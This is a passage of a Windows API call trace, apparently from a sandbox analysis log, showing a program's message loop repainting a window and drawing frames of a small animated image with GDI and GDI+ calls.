CoTaskMemAlloc (cb=0x6) returned 0x4fff10 [0116.135] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4fff10, nMaxCount=1 | out: lpString="") returned 0 [0116.135] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4fff10) returned 0x0 [0116.135] CoTaskMemFree (pv=0x4fff10) [0116.136] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0116.136] GdipCreateRegion (region=0x15d710) returned 0x0 [0116.136] GdipGetClip (graphics=0x1de419c0, region=0x1de43ea0) returned 0x0 [0116.136] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0116.136] GdipGetWorldTransform (graphics=0x1de419c0, matrix=0x1dc0a590) returned 0x0 [0116.136] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0116.136] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff8380 [0116.136] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1aff8380) returned 0x0 [0116.136] LocalFree (hMem=0x1aff8380) returned 0x0 [0116.137] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0116.137] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff8380 [0116.137] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1aff8380) returned 0x0 [0116.137] LocalFree (hMem=0x1aff8380) returned 0x0 [0116.137] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0116.137] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0116.137] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de419c0, result=0x15d7c0) returned 0x0 [0116.137] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de419c0, result=0x15d780) returned 0x0 [0116.137] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de419c0, hRgn=0x15d780) returned 0x0 [0116.137] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0116.138] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0116.138] GdipGetDC (graphics=0x1de419c0, hdc=0x15d7f0) returned 0x0 [0116.138] GetCurrentObject (hdc=0x460107c2, type=0x1) returned 0x1b00017 [0116.138] GetCurrentObject (hdc=0x460107c2, type=0x2) returned 0x1900010 [0116.138] GetCurrentObject (hdc=0x460107c2, type=0x7) returned 0x1a05067e [0116.138] GetCurrentObject (hdc=0x460107c2, type=0x6) returned 0x18a002e [0116.138] SaveDC (hdc=0x460107c2) returned 1 [0116.138] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x4e0407c3 [0116.138] GetClipRgn (hdc=0x460107c2, hrgn=0x4e0407c3) returned 0 [0116.138] SelectClipRgn (hdc=0x460107c2, hrgn=0x1e040b8a) returned 2 [0116.138] DeleteObject (ho=0x4e0407c3) returned 1 [0116.138] DeleteObject (ho=0x1e040b8a) returned 1 [0116.138] OffsetViewportOrgEx (in: hdc=0x460107c2, x=0, y=0, lppt=0x2711780 | out: lppt=0x2711780) returned 1 [0116.138] GetNearestColor (hdc=0x460107c2, color=0xffffff) returned 0xffffff [0116.138] CreateSolidBrush (color=0xffffff) returned 0x26100190 [0116.138] FillRect (hDC=0x460107c2, lprc=0x15d7c0, hbr=0x26100190) returned 1 [0116.139] DeleteObject (ho=0x26100190) returned 1 [0116.139] RestoreDC (hdc=0x460107c2, nSavedDC=-1) returned 1 [0116.139] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0116.139] GdipReleaseDC (graphics=0x1de419c0, hdc=0x460107c2) returned 0x0 [0116.139] GdipRestoreGraphics (graphics=0x1de419c0, state=0xfffffffffd9a0dbd) returned 0x0 [0116.139] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0116.139] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0116.139] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0116.139] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0116.139] GetSystemMetrics (nIndex=42) returned 0 [0116.139] CoTaskMemAlloc (cb=0x6) returned 0x4fff10 [0116.139] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4fff10, nMaxCount=1 | out: lpString="") returned 0 [0116.139] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4fff10) returned 0x0 [0116.139] CoTaskMemFree (pv=0x4fff10) [0116.139] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0116.139] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0116.140] GdipDrawImageRectI (graphics=0x1de419c0, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0116.140] GdipGetDC (graphics=0x1de419c0, hdc=0x15dbf0) returned 0x0 [0116.140] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x460107c2, x1=0, y1=0, rop=0xcc0020) returned 1 [0116.140] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0116.140] GdipReleaseDC (graphics=0x1de419c0, hdc=0x460107c2) returned 0x0 [0116.140] SelectObject (hdc=0x460107c2, h=0x185000f) returned 0x1a05067e [0116.140] DeleteDC (hdc=0x460107c2) returned 1 [0116.140] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0116.140] GdipDeleteGraphics (graphics=0x1de419c0) returned 0x0 [0116.140] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0116.140] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0116.140] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0116.140] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0116.140] WaitMessage () returned 1 [0116.239] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0116.240] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x22d0268) returned 0x1 [0116.243] IsWindowUnicode (hWnd=0x702f6) returned 1 [0116.243] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0116.243] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x22d0268) returned 0x1 [0116.990] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0116.991] SetCursor (hCursor=0x10003) returned 0x10007 [0116.991] TranslateMessage (lpMsg=0x15e910) returned 0 [0116.991] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0117.007] _TrackMouseEvent (in: lpEventTrack=0x2713060 | out: lpEventTrack=0x2713060) returned 1 [0117.007] SendMessageW (hWnd=0x702f6, Msg=0xc1cd, wParam=0x0, lParam=0x0) returned 0x0 [0117.009] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xc1cd, wParam=0x0, lParam=0x0) returned 0x0 [0117.010] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x200, wParam=0x0, lParam=0x110001d) returned 0x0 [0117.012] GetKeyState (nVirtKey=1) returned 0 [0117.012] GetKeyState (nVirtKey=2) returned 0 [0117.012] GetKeyState (nVirtKey=4) returned 0 [0117.012] GetKeyState (nVirtKey=5) returned 0 [0117.012] GetKeyState (nVirtKey=6) returned 0 [0117.012] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0117.012] IsWindowUnicode (hWnd=0x2031e) returned 1 [0117.012] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0117.012] TranslateMessage (lpMsg=0x15e910) returned 0 [0117.012] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0117.013] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0117.013] GetCurrentThreadId () returned 0xec0 [0117.013] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0117.013] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0117.013] GetCurrentThreadId () returned 0xec0 [0117.013] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0117.013] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0117.013] GetCurrentThreadId () returned 0xec0 [0117.013] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0117.014] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0117.014] GetCurrentThreadId () returned 0xec0 [0117.014] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0117.014] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0117.014] IsWindowUnicode (hWnd=0x2031e) returned 1 [0117.014] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0117.014] TranslateMessage (lpMsg=0x15e910) returned 0 [0117.014] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0117.014] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0117.014] IsWindowUnicode (hWnd=0x2031e) returned 1 [0117.014] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0117.014] TranslateMessage (lpMsg=0x15e910) returned 0 [0117.014] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0117.014] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0117.014] IsWindowUnicode (hWnd=0x2031e) returned 1 [0117.014] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0117.014] TranslateMessage (lpMsg=0x15e910) returned 0 [0117.014] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0117.014] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0117.015] IsWindowUnicode (hWnd=0x702f6) returned 1 [0117.015] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0117.015] TranslateMessage (lpMsg=0x15e910) returned 0 [0117.015] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0117.016] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0117.016] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0117.016] IsWindowUnicode (hWnd=0x2031e) returned 1 [0117.017] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0117.017] TranslateMessage (lpMsg=0x15e910) returned 0 [0117.017] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0117.017] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0117.017] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0117.017] CreateCompatibleDC (hdc=0x1010b9d) returned 0x4201018a [0117.017] SelectObject (hdc=0x4201018a, h=0x1a05067e) returned 0x185000f [0117.017] GdipCreateFromHDC (hdc=0x4201018a, graphics=0x15daf0) returned 0x0 [0117.017] GdipTranslateWorldTransform (graphics=0x1de419c0, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0117.018] GdipSetClipRectI (graphics=0x1de419c0, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0117.018] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0117.018] GdipGetWorldTransform (graphics=0x1de419c0, matrix=0x1dc0a510) returned 0x0 [0117.018] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0117.018] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff8700 [0117.018] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1aff8700) returned 0x0 [0117.019] LocalFree (hMem=0x1aff8700) returned 0x0 [0117.019] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.019] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0117.020] GdipCreateRegion (region=0x15dc20) returned 0x0 [0117.020] GdipGetClip (graphics=0x1de419c0, region=0x1d2e7c10) returned 0x0 [0117.020] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de419c0, result=0x15dc50) returned 0x0 [0117.020] GdipSaveGraphics (graphics=0x1de419c0, state=0x15dd20) returned 0x0 [0117.021] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0117.021] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0117.021] GetSystemMetrics (nIndex=42) returned 0 [0117.021] CoTaskMemAlloc (cb=0x6) returned 0x1afd3ed0 [0117.021] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3ed0, nMaxCount=1 | out: lpString="") returned 0 [0117.021] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3ed0) returned 0x0 [0117.022] CoTaskMemFree (pv=0x1afd3ed0) [0117.022] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0117.022] GdipCreateRegion (region=0x15d710) returned 0x0 [0117.022] GdipGetClip (graphics=0x1de419c0, region=0x1de43ea0) returned 0x0 [0117.022] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0117.022] GdipGetWorldTransform (graphics=0x1de419c0, matrix=0x1dc0a590) returned 0x0 [0117.022] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0117.022] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff8700 [0117.022] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1aff8700) returned 0x0 [0117.023] LocalFree (hMem=0x1aff8700) returned 0x0 [0117.023] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0117.023] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff8700 [0117.023] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1aff8700) returned 0x0 [0117.024] LocalFree (hMem=0x1aff8700) returned 0x0 [0117.024] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.024] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0117.024] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de419c0, result=0x15d7c0) returned 0x0 [0117.024] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de419c0, result=0x15d780) returned 0x0 [0117.024] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de419c0, hRgn=0x15d780) returned 0x0 [0117.025] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.025] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0117.025] GdipGetDC (graphics=0x1de419c0, hdc=0x15d7f0) returned 0x0 [0117.025] GetCurrentObject (hdc=0x4201018a, type=0x1) returned 0x1b00017 [0117.025] GetCurrentObject (hdc=0x4201018a, type=0x2) returned 0x1900010 [0117.025] GetCurrentObject (hdc=0x4201018a, type=0x7) returned 0x1a05067e [0117.025] GetCurrentObject (hdc=0x4201018a, type=0x6) returned 0x18a002e [0117.026] SaveDC (hdc=0x4201018a) returned 1 [0117.026] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x1f040b8a [0117.026] GetClipRgn (hdc=0x4201018a, hrgn=0x1f040b8a) returned 0 [0117.026] SelectClipRgn (hdc=0x4201018a, hrgn=0x4f0407c3) returned 2 [0117.027] DeleteObject (ho=0x1f040b8a) returned 1 [0117.027] DeleteObject (ho=0x4f0407c3) returned 1 [0117.027] OffsetViewportOrgEx (in: hdc=0x4201018a, x=0, y=0, lppt=0x2713a10 | out: lppt=0x2713a10) returned 1 [0117.027] GetNearestColor (hdc=0x4201018a, color=0xffffff) returned 0xffffff [0117.027] CreateSolidBrush (color=0xffffff) returned 0x27100190 [0117.027] FillRect (hDC=0x4201018a, lprc=0x15d7c0, hbr=0x27100190) returned 1 [0117.028] DeleteObject (ho=0x27100190) returned 1 [0117.028] RestoreDC (hdc=0x4201018a, nSavedDC=-1) returned 1 [0117.028] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.028] GdipReleaseDC (graphics=0x1de419c0, hdc=0x4201018a) returned 0x0 [0117.028] GdipRestoreGraphics (graphics=0x1de419c0, state=0xfffffffffd980dbd) returned 0x0 [0117.028] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.028] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0117.028] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0117.028] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0117.028] GetSystemMetrics (nIndex=42) returned 0 [0117.029] CoTaskMemAlloc (cb=0x6) returned 0x1afd3ed0 [0117.029] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3ed0, nMaxCount=1 | out: lpString="") returned 0 [0117.029] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3ed0) returned 0x0 [0117.029] CoTaskMemFree (pv=0x1afd3ed0) [0117.029] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0xe) returned 0x0 [0117.111] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0117.111] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0117.111] GdipDrawImageRectI (graphics=0x1de419c0, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0117.112] GdipGetDC (graphics=0x1de419c0, hdc=0x15dbf0) returned 0x0 [0117.114] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x4201018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0117.114] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.114] GdipReleaseDC (graphics=0x1de419c0, hdc=0x4201018a) returned 0x0 [0117.115] SelectObject (hdc=0x4201018a, h=0x185000f) returned 0x1a05067e [0117.115] DeleteDC (hdc=0x4201018a) returned 1 [0117.115] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.115] GdipDeleteGraphics (graphics=0x1de419c0) returned 0x0 [0117.116] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0117.116] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0117.117] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0117.117] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0117.117] WaitMessage () returned 1 [0117.176] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0117.177] IsWindowUnicode (hWnd=0x2031e) returned 1 [0117.177] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0117.177] TranslateMessage (lpMsg=0x15e910) returned 0 [0117.177] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0117.178] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0117.178] GetCurrentThreadId () returned 0xec0 [0117.178] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0117.178] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0117.178] IsWindowUnicode (hWnd=0x2031e) returned 1 [0117.178] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0117.178] TranslateMessage (lpMsg=0x15e910) returned 0 [0117.178] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0117.179] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0117.179] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0117.179] CreateCompatibleDC (hdc=0x1010b9d) returned 0x4301018a [0117.179] SelectObject (hdc=0x4301018a, h=0x1a05067e) returned 0x185000f [0117.179] GdipCreateFromHDC (hdc=0x4301018a, graphics=0x15daf0) returned 0x0 [0117.179] GdipTranslateWorldTransform (graphics=0x1de419c0, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0117.180] GdipSetClipRectI (graphics=0x1de419c0, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0117.180] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0117.180] GdipGetWorldTransform (graphics=0x1de419c0, matrix=0x1dc0a510) returned 0x0 [0117.180] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0117.180] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff8780 [0117.180] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1aff8780) returned 0x0 [0117.181] LocalFree (hMem=0x1aff8780) returned 0x0 [0117.181] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.181] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0117.181] GdipCreateRegion (region=0x15dc20) returned 0x0 [0117.182] GdipGetClip (graphics=0x1de419c0, region=0x1de43de0) returned 0x0 [0117.182] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de419c0, result=0x15dc50) returned 0x0 [0117.182] GdipSaveGraphics (graphics=0x1de419c0, state=0x15dd20) returned 0x0 [0117.182] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0117.182] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0117.182] GetSystemMetrics (nIndex=42) returned 0 [0117.182] CoTaskMemAlloc (cb=0x6) returned 0x1afd3e40 [0117.183] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3e40, nMaxCount=1 | out: lpString="") returned 0 [0117.183] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3e40) returned 0x0 [0117.183] CoTaskMemFree (pv=0x1afd3e40) [0117.183] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0117.183] GdipCreateRegion (region=0x15d710) returned 0x0 [0117.183] GdipGetClip (graphics=0x1de419c0, region=0x1de43ea0) returned 0x0 [0117.184] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0117.184] GdipGetWorldTransform (graphics=0x1de419c0, matrix=0x1dc0a590) returned 0x0 [0117.184] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0117.184] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff8780 [0117.184] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1aff8780) returned 0x0 [0117.184] LocalFree (hMem=0x1aff8780) returned 0x0 [0117.185] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0117.185] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff8780 [0117.185] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1aff8780) returned 0x0 [0117.185] LocalFree (hMem=0x1aff8780) returned 0x0 [0117.185] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.186] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0117.186] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de419c0, result=0x15d7c0) returned 0x0 [0117.186] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de419c0, result=0x15d780) returned 0x0 [0117.186] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de419c0, hRgn=0x15d780) returned 0x0 [0117.186] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.186] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0117.186] GdipGetDC (graphics=0x1de419c0, hdc=0x15d7f0) returned 0x0 [0117.187] GetCurrentObject (hdc=0x4301018a, type=0x1) returned 0x1b00017 [0117.187] GetCurrentObject (hdc=0x4301018a, type=0x2) returned 0x1900010 [0117.187] GetCurrentObject (hdc=0x4301018a, type=0x7) returned 0x1a05067e [0117.187] GetCurrentObject (hdc=0x4301018a, type=0x6) returned 0x18a002e [0117.187] SaveDC (hdc=0x4301018a) returned 1 [0117.188] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x500407c3 [0117.188] GetClipRgn (hdc=0x4301018a, hrgn=0x500407c3) returned 0 [0117.188] SelectClipRgn (hdc=0x4301018a, hrgn=0x20040b8a) returned 2 [0117.188] DeleteObject (ho=0x500407c3) returned 1 [0117.188] DeleteObject (ho=0x20040b8a) returned 1 [0117.188] OffsetViewportOrgEx (in: hdc=0x4301018a, x=0, y=0, lppt=0x2715c60 | out: lppt=0x2715c60) returned 1 [0117.188] GetNearestColor (hdc=0x4301018a, color=0xffffff) returned 0xffffff [0117.189] CreateSolidBrush (color=0xffffff) returned 0x28100190 [0117.189] FillRect (hDC=0x4301018a, lprc=0x15d7c0, hbr=0x28100190) returned 1 [0117.189] DeleteObject (ho=0x28100190) returned 1 [0117.189] RestoreDC (hdc=0x4301018a, nSavedDC=-1) returned 1 [0117.189] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.189] GdipReleaseDC (graphics=0x1de419c0, hdc=0x4301018a) returned 0x0 [0117.190] GdipRestoreGraphics (graphics=0x1de419c0, state=0xfffffffffd960dbd) returned 0x0 [0117.190] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.190] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0117.190] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0117.190] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0117.190] GetSystemMetrics (nIndex=42) returned 0 [0117.190] CoTaskMemAlloc (cb=0x6) returned 0x1afd3e40 [0117.190] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3e40, nMaxCount=1 | out: lpString="") returned 0 [0117.190] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3e40) returned 0x0 [0117.191] CoTaskMemFree (pv=0x1afd3e40) [0117.191] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0117.191] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0117.191] GdipDrawImageRectI (graphics=0x1de419c0, image=0x1dc21b40, x=0, 